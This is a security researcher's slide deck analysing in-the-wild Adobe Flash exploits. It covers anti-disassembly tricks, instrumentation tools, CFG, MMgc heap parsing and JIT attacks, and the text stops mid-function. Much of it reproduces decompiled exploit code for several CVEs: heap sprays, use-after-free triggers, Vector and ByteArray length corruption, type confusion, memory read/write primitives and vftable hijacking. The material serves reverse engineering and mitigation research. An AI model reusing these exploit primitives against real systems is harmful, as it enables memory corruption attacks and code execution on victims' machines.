

# The Art of Reverse Engineering Flash Exploits

Jeong Wook Oh  
([jeongoh@Microsoft.com](mailto:jeongoh@Microsoft.com))



# Agenda

- Reverse Engineering Methods
  - Decompilers/Disassemblers/FlashHacker/AVMPlus source code/native level debugging
- RW Primitives
  - Vector.length corruption
  - ByteArray.length corruption
  - ConvolutionFilter.matrix to tabStops type-confusion
- CFG
- MMgc
- JIT attacks
- FunctionObject corruption

# Adobe Flash Player vulnerabilities

- Recently Oracle Java, Browser vulnerabilities are becoming non-attractive
- *Vector* corruption in 2013 *Lady Boyle* exploit
- *Vector* corruption mitigation introduced in 2015
- CFG/CFI introduced in 2015

# Reverse Engineering Methods

# Decompilers

- [JPEXS Free Flash Decompiler](#)
- [Action Script Viewer](#)

# Broken code

```
        for (;_local_9 < _arg_1.length;(_local_6 =  
_SafeStr_128(_local_5, 0x1E)), goto _label_2, if (_local_15 < 0x50)  
goto _label_1;  
, (_local_4 = _SafeStr_129(_local_4, _local_10)), for (;;)   
    {  
        _local_8 = _SafeStr_129(_local_8, _local_14);  
        (_local_9 = (_local_9 + 0x10));  
        //unresolved jump ← unresolved jump error  
        // @239 jump @254
```

# Garbage instructions and basic blocks

```
getlocal      17 ; 0x11 0x11 ← register 17 is never initialized
iftrue       L511 ; 0xFF 0xFF ← This condition is always false
jump         L503 ; 0xF7 0xF7
; 0xD7 ← Start of garbage code (this code will be never reached)
; 0xC2
; 0x0B
; 0xC2
; 0x04
; 0x73
; 0x92
; 0x0A
; 0x08
; 0x0F
; 0x85
; 0x64
; 0x08
; 0x0C
L503:
pushbyte     8 ; 0x08 0x08 ← All garbage code
getlocal     17 ; 0x11 0x11
iffalse      L510 ; 0xFE 0xFE
negate_i
increment_i
pushbyte     33 ; 0x21 0x21
multiply_i
L510:
subtract
L511:
```

# Disassemblers

- [RABCDAsm](#) is a very powerful disassembler that can extract *ABC (ActionScript Byte Code)* records used in *AVM2 (ActionScript Virtual Machine 2)* from *SWF* files and disassemble the bytecode inside *ABC* records.
- For more information on the instructions for *AVM*, you can read more [here](#).



# Breaking disassemblers – malicious *lookupswitch* instruction

```
L4:  
    lookupswitch    L6-42976, []
```

# Breaking disassemblers – fix for malicious *lookupswitch* instruction

```
case OpcodeArgumentType.SwitchTargets:
-     instruction.arguments[i].switchTargets.length = readU30()+1;
-     foreach (ref label; instruction.arguments[i].switchTargets)
+     int length = readU30();
+     if (length<0xffff)
+     {
-         label.absoluteOffset = instructionOffset + readS24();
-         queue(label.absoluteOffset);
+         instruction.arguments[i].switchTargets.length = length+1;
+         foreach (ref label; instruction.arguments[i].switchTargets)
+         {
+             label.absoluteOffset = instructionOffset +
readS24();
+             queue(label.absoluteOffset);
+         }
+         break;
+     }
+     else
+     {
+         writefln("Abnormal SwitchTargets length: %x", length);
+     }
-     break;
```

A code patch for this specific case is presented below for *readMethodBody* routine. It filters out any *lookupswitch* instruction with too big case counts (bigger than 0xffff).

# FlashHacker

- FlashHacker project was originally developed as an open-source based on the concept presented from ShmooCon 2012.
- The one challenge you will meet in using AVM bytecode instrumentation is the performance degradation with CPU-intensive code.
- For example, heap spraying code with additional instrumentation will usually make the exploit code fail due to default timeout embedded in the Flash Player.

# *FlashHacker*

- You can still perform delicate operations by using filters upon CPU-intensive code.
- Very helpful to know control flow.
- Useful for RCA(Root Cause Analysis)/mitigation bypass research

# AVMPlus Source Code

- For AVM, you can still look into open-source implementation of AVM from [AVMplus](#) project.
- You can even observe that some exploits took some exploit code directly out from the AVMplus code, for example MMgc parsers.

# Native level debugging of Flash

- Unless you have a symbol access to Flash, debugging and triaging vulnerabilities and exploits under native level is a challenging work.

# RW primitives

Vector.length corruption

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# RW primitives

- RW(read/write) primitives are the objects or functions the exploit uses to achieve memory read and write.
- Modern exploits usually require RW primitives to achieve full code execution to bypass defense mechanisms like ASLR or DEP.
- From defender's point of view, knowing RW primitives for a new exploit helps a lot with figuring out what code execution method the exploit is employing to bypass mitigation techniques like CFG.

# *Vector.length* corruption

- *Lady Boyle* exploit with CVE-2013-0634 on 2013
- CVE-2015-5122, which is *TextLine* use-after-free vulnerability, used *Vector* corruption as it's RW primitive method

# First *Vector* spray

```
public class MyClass extends MyUtils
{
    ...
    static var _mc:MyClass;
    static var _vu:Vector.<uint>;
    static var LEN40:uint = 0x40000000;
    static function TryExpl()
    {
        ...
        _arLen1 = (0x0A * 0x03);
        _arLen2 = (_arLen1 + (0x04 * 0x04));
        _arLen = (_arLen2 + (0x0A * 0x08));
        _ar = new Array(_arLen);
        _mc = new MyClass();
        ...
        _vLen = ((0x0190 / 0x04) - 0x02);
        while (i < _arLen1)
        {
            _ar[i] = new Vector.<uint>(_vLen);
            i = (i + 1);
        }
    };
};
```

# Second *Vector* spray

```
i = _arLen2;  
while (i < _arLen)  
{  
    _ar[i] = new Vector.<uint>(0x08);  
    _ar[i][0x00] = i;  
    i = (i + 1);  
};  
i = _arLen1;
```

# *TextLine* spray

```
while (i < _arLen2)
{
    _ar[i] = _tb.createTextLine(); //_tb is TextBlock object
    i = (i + 1);
};
i = _arLen1;
while (i < _arLen2)
{
    _ar[i].opaqueBackground = 0x01;
    i = (i + 1);
};
```

# Trigger use-after-free vulnerability

```
MyClass.prototype.valueOf = valueOf2;
```

```
_cnt = (_arLen2 - 0x06);
```

```
_ar[_cnt].opaqueBackground = _mc; ← Trigger use-after-free vulnerability (static var _mc:MyClass)
```

```
static function valueOf2()
```

```
{
```

```
  var i:int;
```

```
  try
```

```
  {
```

```
    if (++_cnt < _arLen2)
```

```
    {
```

```
      _ar[_cnt].opaqueBackground = _mc;
```

```
    }
```

```
  else
```

```
  {
```

```
    Log("MyClass.valueOf2()");
```

```
    i = 0x01;
```

```
    while (i <= 0x05)
```

```
    {
```

```
      _tb.recreateTextLine(_ar[(_arLen2 - i)]); ← Trigger use-after-free condition
```

```
      i = (i + 1);
```

```
    };
```

```
    i = _arLen2;
```

```
    while (i < _arLen)
```

```
    {
```

```
      _ar[i].length = _vLen;
```

```
      i = (i + 1);
```

```
    };
```

# Corrupting Vector.length to 0x40000000

```
i = _arLen2;
while (i < _arLen)
{
    _vu = _ar[i];
    if (_vu.length > (_vLen + 0x02))
    {
        Log((((("ar[" + i) + "].length = ") + Hex(_vu.length)));
        Log((((("ar[" + i) + "][" + Hex(_vLen)) + "] = ") + Hex(_vu[_vLen])));
        if (_vu[_vLen] == _vLen)
        {
            _vu[_vLen] = LEN40; ← Corrupt _vu[_vLen+0x02].length to LEN40 (0x40000000)
            _vu = _ar[_vu[(_vLen + 0x02)]]; ← _vu now points to corrupt Vector element
            break;
        };
    };
    i = (i + 1);
};
```

# FlashHacker log for Vector corruption

```
* Detection: Setting valueOf: Object=Object Function=valueOf2
* Setting property: MyClass.prototype.valueOf
    Object Name: MyClass.prototype
    Object Type: Object
    Property: valueOf
    Location: MyClass32/class/TryExpl
builtin.as$0::MethodClosure
function Function() {}
```

```
* Detection: CVE-2015-5122
* Returning from: MyClass._tb.recreateTextLine
* Detection: CVE-2015-5122
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* Detection: CVE-2015-5122
* Returning from: MyClass._tb.recreateTextLine
* Detection: CVE-2015-5122
* Returning from: MyClass._tb.recreateTextLine
* Detection: Vector Corruption
```

```
Corrupt Vector.<uint>.length: 0x40000000 at
MyClass32/class/TryExpl L239 ← Vector corruption detected
```

```
... Message repeat starts ...
```

```
... Last message repeated 2 times ...
```

```
Writing __AS3__.vec::Vector.<uint>[0x3FFFFFF9A]=0x6A->0x62
Maximum Vector.<uint>.length:328 ← out-of-bounds access
```

```
Location: MyClass32/class/Prepare (L27)
```

```
Current vector.<Object> Count: 1 Maximum length:46
```

```
Writing __AS3__.vec::Vector.<uint>[0x3FFE6629]=0xAC84EE0-
>0xA44B348 Maximum Vector.<uint>.length:328
```

```
Location: MyClass32/class/Set (L20)
```

```
Writing __AS3__.vec::Vector.<uint>[0x3FFE662A]=0xAE76041->0x9C
Maximum Vector.<uint>.length:328
```

```
Location: MyClass32/class/Set (L20)
```



# RW primitives

ByteArray.length corruption

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# ByteArray.length corruption

```
_local_4 = 0x8012002C;
```

```
si32(0x7FFFFFFF, (_local_4 + 0x7FFFFFFFC));
```

← Out-of-bounds write with si32 upon ByteArray.length location at \_local\_4 + 0x7FFFFFFFC with value of 0x7FFFFFFF

```
_local_10 = 0x00;
```

```
while (_local_10 < bc.length)
```

```
{
```

```
    if (bc[_local_10].length > 0x10) ← Check if ByteArray.length is corrupt
```

```
    {
```

```
        cbIndex = _local_10; ← Index of corrupt ByteArray element in the bc array
```

```
    }
```

```
    else
```

```
    {
```

```
        bc[_local_10] = null;
```

```
    };
```

```
    _local_10++;
```

```
};
```

CVE-2015-8651 example used for DUBNIUM campaign

# RW primitive

```
private function read32x86(destAddr:int, modeAbs:Boolean):uint
{
    var _local_3:int;
    if (((isMitisSE) || (isMitisSE9)))
    {
        bc[cbIndex].position = destAddr;
        bc[cbIndex].endian = "littleEndian";
        return (bc[cbIndex].readUnsignedInt());
    }
};
```

```
private function write32x86(destAddr:int, value:uint, modeAbs:Boolean=true):Boolean
{
    if (((isMitisSE) || (isMitisSE9)))
    {
        bc[cbIndex].position = destAddr;
        bc[cbIndex].endian = "littleEndian";
        return (bc[cbIndex].writeUnsignedInt(value));
    }
};
```

# RW primitives

*ConvolutionFilter.matrix* to *tabStops* type-confusion

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# *ConvolutionFilter.matrix* to *tabStops* type-confusion

```
public function SprayConvolutionFilter():void
{
    var _local_2:int;
    hhj234kkwr134 = new ConvolutionFilter(defaultMatrixX, 1);
    mnmb43 = new ConvolutionFilter(defaultMatrixX, 1);
    hgfhgfhfg3454331 = new ConvolutionFilter(defaultMatrixX, 1);
    var _local_1:int;
    while (_local_1 < 0x0100)
    {
        _local_2 = _local_1++;
        ConvolutionFilterArray[_local_2] = new ConvolutionFilter(defaultMatrixX, 1); ← heap spraying ConvolutionFilter objects
    };
}
```

# *ConvolutionFilter.matrix* to *tabStops* type-confusion

```
public function TriggerVulnerability():Boolean
{
    var _local_9:int;
    var sourceBitmapData:BitmapData = new BitmapData(1, 1, true, 0xFF000001); // fill color is FF000001
    var sourceRect:Rectangle = new Rectangle(-880, -2, 0x4000000E, 8);
    var destPoint:Point = new Point(0, 0);
    var _local_4:TextFormat = new TextFormat();
    _local_4.tabStops = [4, 4];
    ...
    _local_1.copyPixels(sourceBitmapData, sourceRect, destPoint);
    if (!(TypeConfuseConvolutionFilter()))
    {
        return (false);
    }
};
```

First stage RW primitive is used as a temporary measure and *ByteArray* RW primitive as the main one because *ByteArray* operations are more straightforward in programming.



# Type-confusing *ConvolutionFilter* and finding affected element

```
public function TypeConfuseConvolutionFilter():Boolean
{
    ...
    while (_local_3 < 0x0100)
    {
        _local_4 = _local_3++;
        ConvolutionFilterArray[_local_4].matrixY =
kkkk22222222;
        ConvolutionFilterArray[_local_4].matrix = _local_2;
    };
    ...
    _local_5 = gfhfghsdf22432.ghfg43[bczzzzz].matrix;
    _local_5[0] = jjj3.IntToNumber(0x55667788); ← Corrupt
memory
    gfhfghsdf22432.ghfg43[bczzzzz].matrix = _local_5;

    ConfusedConvolutionFilterIndex = -1;
    _local_3 = 0;
    while (((ConfusedConvolutionFilterIndex == (-1)) &&
((_local_3 < ConvolutionFilterArray.length))))
    {
        matrix = ConvolutionFilterArray[_local_3].matrix;
        _local_4 = 0;
        _local_6 = _local_9.length;
```

```
        while (_local_4 < _local_6)
        {
            _local_7 = _local_4++;
            if ((jjj3.NumberToDword(matrix[_local_7]) ==
0x55667788)) ← Locate type-confused ConvolutionFilter object
            {
                ConfusedConvolutionFilterIndex = _local_3;
                break;
            };
            _local_3++;
        };
    };
};
```

# Using *TextFormat.tabStops[0]* to read memory contents

```
public function read4(_arg_1:___Int64):uint
{
    var matrixIndex:int;
    if (IsByteArrayCorrupt)
    {
        SetCorruptByteArrayPosition(_arg_1);
        return (CorruptByteArray.readUnsignedInt());
    };
    matrixIndex = (17 + ConfusedMatrixIndex);
    TmpMatrix[matrixIndex] = jjj3.IntToNumber(_arg_1.low);
    TmpMatrix[(matrixIndex + 1)] = jjj3.IntToNumber(1);
    ConvolutionFilterArray[((ConfusedConvolutionFilterIndex + 5) - 1)].matrix = TmpMatrix;
    textFormat = ConfusedTextField.getTextFormat(0, 1);
    return (textFormat.tabStops[0]);
}
```

- Read4 method uses corrupt *ByteArray* if it is available, but it also uses type-confused *ConvolutionFilter* with type-confused *TextField*.
- The object for address input is *ConvolutionFilter* and you can read memory contents through *textFormat.tabStops[0]* of type-confused *TextFormat*.

CFG

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# What is *CFG*?

```
.text:10C5F13B      mov     esi, [esp+58h+var_3C]
.text:10C5F13F      lea     eax, [esp+58h+var_34]
.text:10C5F143      movups  xmm1, [esp+58h+var_34]
.text:10C5F148      movups  xmm0, [esp+58h+var_24]
.text:10C5F14D      push    dword ptr [esi]
.text:10C5F14F      mov     esi, [esi+8]
.text:10C5F152      pxor    xmm1, xmm0
.text:10C5F156      push    eax
.text:10C5F157      push    eax
.text:10C5F158      mov     ecx, esi
.text:10C5F15A      movups  [esp+64h+var_34], xmm1
.text:10C5F15F      call    ds:__guard_check_icall_fptr ← CFG check routine
.text:10C5F165      call    esi
```

# What is *CFG*?

- CFG can be very powerful in making the cost of the exploit development higher.
- In fact, in the last two years, no zero day exploits for Microsoft RCE vulnerabilities have been found in-the-wild that work against Internet Explorer 11 on Windows 8.1+, where CFG is present.

# *Pre-CFG* Code Execution - *vftable* corruption

- Before CFG was introduced into Flash Player, code execution was rather straight-forward once the exploit acquired RW privilege on the target process memory.
- Corrupting object vftable and calling the corrupt method.
- *FileReference* and *Sound* objects were popular targets for years for Flash exploits.

# Pre-CFG Code Execution - *vftable* corruption

```
var _local_10:uint = (read32((_local_5 + (((0x08 - 1) * 0x28) * 0x51))) + (((((-0x9C) + 1) - 1) - 0x6E) - 1) + 0x1B));  
var _local_4:uint = read32(_local_10);  
write32(_local_10, _local_7);  
cool_fr.cancel();
```

```
Writing __AS3__.vec::Vector.<uint>[0x7FFFFBFE]=0x9A90201E->0x1E Maximum Vector.<uint>.length:1022  
    Location: Main/instance/trig_loaded (L340)  
Writing __AS3__.vec::Vector.<uint>[0x7FFFFBFF]=0x7E74027->0x7E74000 Maximum Vector.<uint>.length:1022  
    Location: Main/instance/trig_loaded (L402)  
Writing __AS3__.vec::Vector.<uint>[0x7BBE2F8F]=0x931F1F0->0x2A391000 Maximum Vector.<uint>.length:1022  
    Location: Main/instance/Main/instance/write32 (L173)  
> Call flash.net::FileReference QName(PackageNamespace(""), null), "cancel"), 0  
    Instruction: callpropvoid QName(PackageNamespace(""), null), "cancel"), 0  
    Called from: Main/instance/trig_loaded:L707  
* Returning from: flash.net::FileReference QName(PackageNamespace(""), null), "cancel"), 0  
Writing __AS3__.vec::Vector.<uint>[0x7BBE2F8F]=0x2A391000->0x931F1F0 Maximum Vector.<uint>.length:1022  
    Location: Main/instance/Main/instance/write32 (L173)  
Writing __AS3__.vec::Vector.<uint>[0x7FFFFFFE]=0x7FFFFFFF->0x1E Maximum Vector.<uint>.length:1022  
    Location: Main/instance/Main/instance/repair_vector (L32)
```

CVE-2015-0336 exploit code shows a code example that is using *FileReference.cancel* method to execute code.



*MMgc*

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# What is *MMgc*?

- **MMgc** is the Tamarin (née Macromedia) garbage collector, a memory management library that has been built as part of the AVM2/Tamarin effort. It is a static library that is linked into the Flash Player but kept separate, and can be incorporated into other programs.  
(<https://developer.mozilla.org/en-US/docs/Archive/MMgc>)
- After CFG, the attacker moved to MMgc to find targets for corruptions to further their code execution. MMgc has very predictable behavior with various internal structure allocations. This helps with the attackers in parsing MMgc structures and finding corruption target objects.

# Object finder in *MMgc*

- The first in-the-wild CVE-2016-1010 exploit shows very interesting technique to achieve code execution. It parses *MMgc* internal structures to find accurate location of internal objects.

# Memory leak

```
public function TriggerVulnerability():Boolean
{
    ...
    _local_1.copyPixels(_local_1, _local_2, _local_3);
    if (!(TypeConfuseConvolutionFilter()))
    {
        return (false);
    };
    ...
    gfhfghsdf22432.ghfg43[(bczzzzz + 1)].matrixX = 15;
    gfhfghsdf22432.ghfg43[bczzzzz].matrixX = 15;
    gfhfghsdf22432.ghfg43[((bczzzzz + 6) - 1)].matrixX = 15;
    LeakedObjectAddress =
    jjj3.hhhh33((jjj3.NumberToDword(ConvolutionFilterArray[ConfusedConvolutionFilterIndex].matrix[0]) & -4096), 0);
}
```

The *MMgc* memory structure parsing starts with object memory leak. The leaked object address comes from type-confused *ConvolutionFilter* object in this case.

# EnumerateFixedBlocks

## EnumerateFixedBlocks

ParseFixedAllocHeaderBySize

LocateFixedAllocAddrBySize

GetSizeClassIndex

ParseFixedAllocHeader

ParseFixedBlock loop

# *EnumerateFixedBlocks*

```
public function EnumerateFixedBlocks (param1:int, param2:Boolean, param3:Boolean = true, param4:___Int64 = undefined) : Array
{
    var fixedBlockAddr:* = null as ___Int64;
    var _loc8:* = null as ___Int64;
    var _loc9:* = 0;
    var _loc10:* = null as ByteArray;
    var fixedBlockInfo:* = null;
    var _loc5:Array = [];
    var _loc6:* = ParseFixedAllocHeaderBySize(param1,param2);
```

*EnumerateFixedBlocks (hhh222) → ParseFixedAllocHeaderBySize (ghfgfh23)*

# EnumerateFixedBlocks

EnumerateFixedBlocks

**ParseFixedAllocHeaderBySize**

LocateFixedAllocAddrBySize

GetSizeClassIndex

ParseFixedAllocHeader

ParseFixedBlock loop



# *ParseFixedAllocHeaderBySize (ghfgfh23)*

```
public function ParseFixedAllocHeaderBySize(_arg_1:int, _arg_2:Boolean):Object
{
    var _local_3:ByteArray = gg2rw.readn(LocateFixedAllocAddrBySize(_arg_1, _arg_2), FixedAllocSafeSize);
    return (ParseFixedAllocHeader(_local_3, LocateFixedAllocAddrBySize(_arg_1, _arg_2)));
}
```

*ParseFixedAllocHeaderBySize (ghfgfh23) → LocateFixedAllocAddrBySize (jjj34fdfg)*  
*→ ParseFixedAllocHeader (cvb45)*

# EnumerateFixedBlocks

EnumerateFixedBlocks

ParseFixedAllocHeaderBySize

**LocateFixedAllocAddrBySize**

GetSizeClassIndex

ParseFixedAllocHeader

ParseFixedBlock loop

# *LocateFixedAllocAddrBySize (jjj34fdfg)* function

```
* Enter: Jdfgdfgd34/instance/jjj34fdfg(000007f0, True)
* Return: Jdfgdfgd34/instance/jjj34fdfg 00000000`6fb7c36c
```

*LocateFixedAllocAddrBySize (jjj34fdfg)* gets *arg\_1* with heap size and returns the memory location where the heap block starts.

```
public function LocateFixedAllocAddrBySize(_arg_1:int, _arg_2:Boolean):__Int64
{
    var index:int = jhjghj23. GetSizeClassIndex(_arg_1);
    var offset:int = ((2 * AddressLength) + (index * FixedAllocSafeSize));
    if (_arg_2)
    {
        return (jjjj222222lpmc. AddInt (M_allocs01, offset));
    };
    return (jjjj222222lpmc. AddInt (M_allocs02, offset));
}
```

*LocateFixedAllocAddrBySize (jjj34fdfg)* uses *GetSizeClassIndex* method to retrieve index value and uses it with platform and Flash version dependent sizes to calculate offsets of the *FixedAlloc* structure header.

# DetermineMMgcLocations

```
public function DetermineMMgcLocations (_arg_1:___Int64,
_arg_2:Boolean):Boolean
{
    var _local_6 = (null as ___Int64);
    var _local_7 = (null as ___Int64);
    var _local_8 = (null as ___Int64);
    var _local_4:int = (jjjj22222lpmc.GetLow(_arg_1) & -
4096);
    var _local_3:___Int64 =
jjjj22222lpmc.ConvertToInt64((_local_4 + jhjghj23.bitCount),
jjjj22222lpmc.GetHigh(_arg_1));
    _local_3 = jjjj22222lpmc.Subtract(_local_3, offset1);
    var _local_5:___Int64 = gg2rw.peekPtr(_local_3);

    _local_7 = new ___Int64(0, 0);
    _local_6 = _local_7;
    if ((((_local_5.high == _local_6.high)) && ((_local_5.low
== _local_6.low))))
    {
        return (false);
    };
    cvbc345 = gg2rw.peekPtr(_local_5);
    ...
    if (!(IsFlashGT20))
    {
        _local_6 = SearchDword3F8(_local_5);
        M_allocs01 = _local_6;
        M_allocs02 = _local_6;
    }
}
```

```
else
{
    if (_arg_2)
    {
        M_allocs01 = SearchDword3F8(_local_5);
        ...
        M_allocs02 =
SearchDword3F8(jjjj22222lpmc.AddInt64(M_allocs01, (FixedAllocSafeSize
+ 20)));
    }
    else
    {
        M_allocs02 = SearchDword3F8(_local_5);
        ...
        M_allocs01 =
SearchDword3F8(jjjj22222lpmc.SubtractInt64(M_allocs02,
(FixedAllocSafeSize + 20)));
    }
}
```

*DetermineMMgcLocations* (hgjdjhjd134134) calls *SearchDword3F8* on memory location it got through some memory references from leaked object address. This *SearchDword3F8* searches for 0x3F8 DWORD value from the memory, which seems like a very important indicator of the *MMgc* structure it looks for.

# EnumerateFixedBlocks

EnumerateFixedBlocks

ParseFixedAllocHeaderBySize

LocateFixedAllocAddrBySize

**GetSizeClassIndex**

ParseFixedAllocHeader

ParseFixedBlock loop

# GetSizeClassIndex

[illegible]

```
public function GetSizeClassIndex (arg_size:int) : int
{
    if(is64bit)
    {
        return kSizeClassIndex64[arg_size + 7 >> 3];
    }
    return kSizeClassIndex32[arg_size + 7 >> 3];
}
```

*kSizeClassIndex* from *avmplus*

```
#ifndef MMGC_64BIT
    /*static*/ const uint8_t
FixedMalloc::kSizeClassIndex[kMaxSizeClassIndex] = {
    0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
    15, 16, 17, 18, 19, 20, 21, 22, 22, 23, 23, 24, 24, 25, 26, 26,
    27, 27, 28, 28, 28, 29, 29, 30, 30, 30, 30, 31, 31, 31, 32, 32,
    32, 32, 32, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 34, 34,
    35, 35, 35, 35, 35, 35, 35, 35, 35, 36, 36, 36, 36, 36, 36, 36,
    36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37,
    37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38,
    38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 39,
    39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
    39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
    39, 39, 39, 39, 39, 39, 39, 39, 39, 40, 40, 40, 40, 40, 40,
    40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
    40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
    40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
    40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
    40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
};
#else
```

[illegible]

# FixedMalloc::FindAllocatorForSize

```
public function GetSizeClassIndex (arg_size:int) : int
{
    if(is64bit)
    {
        return kSizeClassIndex64[arg_size + 7 >> 3];
    }
    return kSizeClassIndex32[arg_size + 7 >> 3];
}
```

This exploit code has similarity to the *FixedMalloc::FindAllocatorForSize* routine from *avmplus* code.

```
class FixedMalloc
{
    ...
    FixedAllocSafe m_allocs[kNumSizeClasses]; // The array of
    size-segregated allocators for small objects, set in InitInstance
}
REALLY_INLINE FixedAllocSafe*
FixedMalloc::FindAllocatorForSize(size_t size)
{
    ...
    // 'index' is (conceptually) "(size8>>3)" but the following
    // optimization allows us to skip the &~7 that is redundant
    // for non-debug builds.
#ifdef MMGC_64BIT
    unsigned const index = kSizeClassIndex[((size+7)>>3)];
#else
    // The first bucket is 4 on 32-bit systems, so special case
    that rather
    // than double the size-class-index table.
    unsigned const index = (size <= 4) ? 0 :
    kSizeClassIndex[((size+7)>>3)];
#endif
    ...
    return &m_allocs[index];
}
```



# EnumerateFixedBlocks

EnumerateFixedBlocks

ParseFixedAllocHeaderBySize

LocateFixedAllocAddrBySize

GetSizeClassIndex

**ParseFixedAllocHeader**

ParseFixedBlock loop

# ParseFixedAllocHeader

- *FixedAlloc* is a data structure that contains memory pointer to the *FixedBlock* linked lists. Memory blocks with same size will be chained in the these linked list structures.

```
class FixedAlloc
{
    ...
private:
    GCHep *m_heap;           // The heap from which we obtain memory
    uint32_t m_itemsPerBlock; // Number of items that fit in a block
    uint32_t m_itemSize;     // Size of each individual item
    FixedBlock* m_firstBlock; // First block on list of free blocks
    FixedBlock* m_lastBlock;  // Last block on list of free blocks
    FixedBlock* m_firstFree;  // The lowest priority block that has free items
    size_t m_numBlocks;       // Number of blocks owned by this allocator
    ...
}
```

# ParseFixedAllocHeader

```
public function ParseFixedAllocHeader(_arg_1:ByteArray,
_arg_2:___Int64):Object
{
    var _local_3:* = null;
    if (cbvd43) ← true when major version >= 20
    {
        return ({
            "m_heap":jjjj22222lpmc.ReadPointer(_arg_1),
                "m_unknown":_arg_1.readUnsignedInt(),
                "m_itemsPerBlock":_arg_1.readUnsignedInt(),
                "m_itemSize":_arg_1.readUnsignedInt(),

            "m_firstBlock":jjjj22222lpmc.ReadPointer(_arg_1),

            "m_lastBlock":jjjj22222lpmc.ReadPointer(_arg_1),

            "m_firstFree":jjjj22222lpmc.ReadPointer(_arg_1),

            "m_maxAlloc":jjjj22222lpmc.ReadPointer(_arg_1),
                "m_isFixedAllocSafe":_arg_1.readByte(),

            "m_spinlock":jjjj22222lpmc.ReadPointer(_arg_1),
                "fixedAllocAddr":_arg_2

        });
    };
};
```

```
return ({
    "m_heap":jjjj22222lpmc.ReadPointer(_arg_1),
    "m_unknown":0,
    "m_itemsPerBlock":_arg_1.readUnsignedInt(),
    "m_itemSize":_arg_1.readUnsignedInt(),

    "m_firstBlock":jjjj22222lpmc.ReadPointer(_arg_1),

    "m_lastBlock":jjjj22222lpmc.ReadPointer(_arg_1),

    "m_firstFree":jjjj22222lpmc.ReadPointer(_arg_1),
        "m_maxAlloc":jjjj22222lpmc.ReadPointer(_arg_1),
        "m_isFixedAllocSafe":_arg_1.readByte(),
        "m_spinlock":jjjj22222lpmc.ReadPointer(_arg_1),
        "fixedAllocAddr":_arg_2

    });
}
```

*ParseFixedAllocHeader* (cvb45) function parses *FixedAlloc* header. It uses *ReadPointer* (ghgfhf12341) RW primitive to read pointer size data from memory location here.

# EnumerateFixedBlocks

EnumerateFixedBlocks

ParseFixedAllocHeaderBySize

LocateFixedAllocAddrBySize

GetSizeClassIndex

**ParseFixedAllocHeader**

ParseFixedBlock loop

# ParseFixedAllocHeaderBySize (ghfgfh23)

```
Enter: Jdfgdfgd34/instance/ghfgfh23(000007f0, True)
...
Return: Jdfgdfgd34/instance/ghfgfh23 [object Object]

* Return: Jdfgdfgd34/instance/ghfgfh23 [object Object]
  Location: Jdfgdfgd34/instance/ghfgfh23 block id: 0 line no:
0
  Call Stack:
    Jdfgdfgd34/ghfgfh23()
    Jdfgdfgd34/hhh222()
    J34534534/fdgdgfg45345345()
    J34534534/jhfjhhg2432324()
    ...
  Type: Return
  Method: Jdfgdfgd34/instance/ghfgfh23
Return Value:
  Object:
    m_itemSize: 0x7f0 (2032) ← current item size
    fixedAllocAddr:
      high: 0x0 (0)
      low: 0x6fb7c36c (1874314092)
    m_firstFree:
      high: 0x0 (0)
      low: 0x0 (0)
    m_lastBlock:
      high: 0x0 (0)
      low: 0xc0d7000 (202207232)
```

```
m_spinlock:
  high: 0x0 (0)
  low: 0x0 (0)
m_unknown: 0x1 (1)
  m_isFixedAllocSafe: 0x1 (1)
  m_maxAlloc:
    high: 0x0 (0)
    low: 0x1 (1)
  m_itemsPerBlock: 0x2 (2)
  m_heap:
    high: 0x0 (0)
    low: 0x6fb7a530 (1874306352)
  m_firstBlock:
    high: 0x0 (0)
    low: 0xc0d7000 (202207232)
```

```
0:000> dds 6fb7c36c <-- fixedAllocAddr
6fb7c36c 6fb7a530 <-- m_heap
6fb7c370 00000001 <-- m_unknown
6fb7c374 00000002 <-- m_itemsPerBlock
6fb7c378 000007f0 <-- m_itemSize
6fb7c37c 0c0d7000 <-- m_firstBlock
6fb7c380 0c0d7000 <-- m_lastBlock
6fb7c384 00000000 <-- m_firstFree
6fb7c388 00000001 <-- m_maxAlloc
6fb7c38c 00000001
```

# EnumerateFixedBlocks

EnumerateFixedBlocks

ParseFixedAllocHeaderBySize

LocateFixedAllocAddrBySize

GetSizeClassIndex

ParseFixedAllocHeader

**ParseFixedBlock loop**

# *ParseFixedBlock* loop on *FixedBlock* linked lists

```
public function EnumerateFixedBlocks (param1:int,  
param2:Boolean, param3:Boolean = true, param4:___Int64 =  
undefined) : Array  
{  
    var fixedBlockAddr:* = null as ___Int64;  
    var _loc8:* = null as ___Int64;  
    var _loc9:* = 0;  
    var _loc10:* = null as ByteArray;  
    var fixedBlockInfo:* = null;  
    var _loc5:Array = [];  
    var _loc6:* =  
ParseFixedAllocHeaderBySize(param1,param2);  
    if(param3)  
    {  
        fixedBlockAddr = _loc6.m_firstBlock;  
    }  
    else  
    {  
        fixedBlockAddr = _loc6.m_lastBlock;  
    }  
    while(!(jjjj22222lpmc.IsZero(fixedBlockAddr))  
    {  
        ...
```

```
        _loc10_ =  
gg2rw.readn(fixedBlockAddr,Jdfgdf435GwgVfg.Hfghgh3); ← read by  
chunk. _loc10_: ByteArray  
        fixedBlockInfo = ParseFixedBlock(_loc10_,  
fixedBlockAddr); ← fixedBlockAddr: size  
        _loc5_.push(fixedBlockInfo);  
        if(param3)  
        {  
            fixedBlockAddr = fixedBlockInfo.next;  
        }  
        else  
        {  
            fixedBlockAddr = fixedBlockInfo.prev;  
        }  
    }  
    return _loc5_;
```

*ParseFixedBlock* (*vcb4*) is used in  
*EnumerateFixedBlocks* (*hhh222*) function to  
enumerate through *FixedBlock* linked lists.

# ParseFixedBlock

```
public function ParseFixedBlock (param1:ByteArray,
param2:___Int64) : Object
{
